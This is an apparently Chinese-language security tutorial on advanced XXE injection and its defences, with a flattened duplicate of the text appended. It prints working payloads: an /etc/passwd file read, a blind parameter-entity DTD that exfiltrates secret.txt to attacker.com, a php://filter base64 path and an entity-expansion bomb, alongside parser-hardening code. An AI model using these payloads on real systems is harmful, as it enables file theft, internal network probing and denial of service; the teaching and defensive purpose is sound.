XXE(XML外部实体注入)漏洞与防护(进阶实战篇)
字数 1233 2025-11-19 01:40:13

XXE(XML外部实体注入)漏洞与防护(进阶实战篇)

1. 漏洞描述

XXE(XML External Entity Injection)是一种利用XML解析器处理外部实体的安全漏洞。攻击者通过构造恶意的XML输入,可导致敏感文件读取、内网探测、拒绝服务或远程代码执行(取决于解析器配置)。在进阶场景中,XXE可能隐藏在SOAP协议、文档解析、API请求等复杂交互中,甚至通过DTD引用或参数实体实现无显式输出的盲攻击。


2. XML外部实体基础

XML允许定义实体(即变量),例如:

<!DOCTYPE example [ <!ENTITY name "value"> ]>  
<foo>&name;</foo>  <!-- 解析后显示为 <foo>value</foo> -->

外部实体可通过URI引用外部资源:

<!DOCTYPE example [  
  <!ENTITY ext SYSTEM "file:///etc/passwd">  
]>  
<data>&ext;</data>  <!-- 解析器会读取文件内容并替换 -->  

3. 进阶攻击手法

(1)盲注XXE(无回显)

若响应中不直接返回数据,攻击者可通过参数实体触发带外数据外泄:

<!DOCTYPE root [  
  <!ENTITY % remote SYSTEM "http://attacker.com/malicious.dtd">  
  %remote;  
]>  

恶意DTD文件(malicious.dtd)内容:

<!ENTITY % payload SYSTEM "file:///secret.txt">  
<!ENTITY % trigger "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>">  
%trigger;  
%exfil;  

解析器会尝试将secret.txt内容通过HTTP请求发送到攻击者服务器。

(2)利用协议包装器

  • file://:读取本地文件(如file:///c:/windows/system.ini)。
  • http://:探测内网服务(如http://192.168.1.1:8080)。
  • php://filter(PHP环境):转换文件内容为Base64后外泄(如php://filter/convert.base64-encode/resource=config.php)。

(3)嵌套实体攻击(DoS)

通过递归引用实体消耗内存:

<!DOCTYPE bomb [  
  <!ENTITY a "aaaaaaaaaa...">  
  <!ENTITY b "&a;&a;&a;&a;">  
  <!ENTITY c "&b;&b;&b;&b;">  
]>  
<root>&c;</root>  

4. 漏洞挖掘步骤

  1. 识别XML输入点:检查HTTP请求中是否包含XML(如SOAP、Content-Type: application/xml)。
  2. 测试实体解析:尝试注入简单实体(如&xxe;)观察是否被解析。
  3. 探测外部资源:使用SYSTEM关键字引用外部URL(如http://burpcollaborator.net),监控是否有解析器发起的请求。
  4. 尝试文件读取:替换URL为file:///etc/passwd或系统路径。
  5. 盲注测试:若無回显,通过DNS或HTTP带外通道验证漏洞。

5. 防护方案

(1)禁用外部实体

  • PHP
    libxml_disable_entity_loader(true);  
    
  • Java
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();  
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);  
    dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);  
    
  • Python(lxml)
    parser = etree.XMLParser(resolve_entities=False)  
    

(2)输入过滤与沙箱化

  • 严格验证XML结构,禁止DTD声明(如正则匹配<!DOCTYPE)。
  • 使用白名单限制允许的XML标签和属性。

(3)依赖库升级

使用最新版本的XML解析库(如libxml2≥2.9),默认禁用外部实体。

(4)网络隔离

限制解析器发起的网络请求(通过防火墙规则或安全组)。


6. 实战案例

某金融系统通过XML上传交易数据,攻击者构造如下Payload:

<?xml version="1.0"?>  
<!DOCTYPE data [  
  <!ENTITY % dtd SYSTEM "http://attacker.com/exploit.dtd">  
  %dtd;  
]>  
<transaction>&exfil;</transaction>  

恶意DTD通过多层参数实体读取数据库配置文件并外泄。防护方案:在解析前剥离DTD声明,并启用解析器的安全模式。

通过以上步骤,可系统化理解XXE漏洞的进阶利用与防护,尤其在复杂场景中需结合协议分析、带外检测和代码层加固。

XXE(XML外部实体注入)漏洞与防护(进阶实战篇) 1. 漏洞描述 XXE(XML External Entity Injection)是一种利用XML解析器处理外部实体的安全漏洞。攻击者通过构造恶意的XML输入,可导致敏感文件读取、内网探测、拒绝服务或远程代码执行(取决于解析器配置)。在进阶场景中,XXE可能隐藏在SOAP协议、文档解析、API请求等复杂交互中,甚至通过DTD引用或参数实体实现无显式输出的盲攻击。 2. XML外部实体基础 XML允许定义 实体 (即变量),例如: 外部实体 可通过URI引用外部资源: 3. 进阶攻击手法 (1)盲注XXE(无回显) 若响应中不直接返回数据,攻击者可通过 参数实体 触发带外数据外泄: 恶意DTD文件( malicious.dtd )内容: 解析器会尝试将 secret.txt 内容通过HTTP请求发送到攻击者服务器。 (2)利用协议包装器 file:// :读取本地文件(如 file:///c:/windows/system.ini )。 http:// :探测内网服务(如 http://192.168.1.1:8080 )。 php://filter (PHP环境):转换文件内容为Base64后外泄(如 php://filter/convert.base64-encode/resource=config.php )。 (3)嵌套实体攻击(DoS) 通过递归引用实体消耗内存: 4. 漏洞挖掘步骤 识别XML输入点 :检查HTTP请求中是否包含XML(如SOAP、Content-Type: application/xml)。 测试实体解析 :尝试注入简单实体(如 &xxe; )观察是否被解析。 探测外部资源 :使用 SYSTEM 关键字引用外部URL(如 http://burpcollaborator.net ),监控是否有解析器发起的请求。 尝试文件读取 :替换URL为 file:///etc/passwd 或系统路径。 盲注测试 :若無回显,通过DNS或HTTP带外通道验证漏洞。 5. 防护方案 (1)禁用外部实体 PHP : Java : Python(lxml) : (2)输入过滤与沙箱化 严格验证XML结构,禁止DTD声明(如正则匹配 <!DOCTYPE )。 使用白名单限制允许的XML标签和属性。 (3)依赖库升级 使用最新版本的XML解析库(如libxml2≥2.9),默认禁用外部实体。 (4)网络隔离 限制解析器发起的网络请求(通过防火墙规则或安全组)。 6. 实战案例 某金融系统通过XML上传交易数据,攻击者构造如下Payload: 恶意DTD通过多层参数实体读取数据库配置文件并外泄。 防护方案 :在解析前剥离DTD声明,并启用解析器的安全模式。 通过以上步骤,可系统化理解XXE漏洞的进阶利用与防护,尤其在复杂场景中需结合协议分析、带外检测和代码层加固。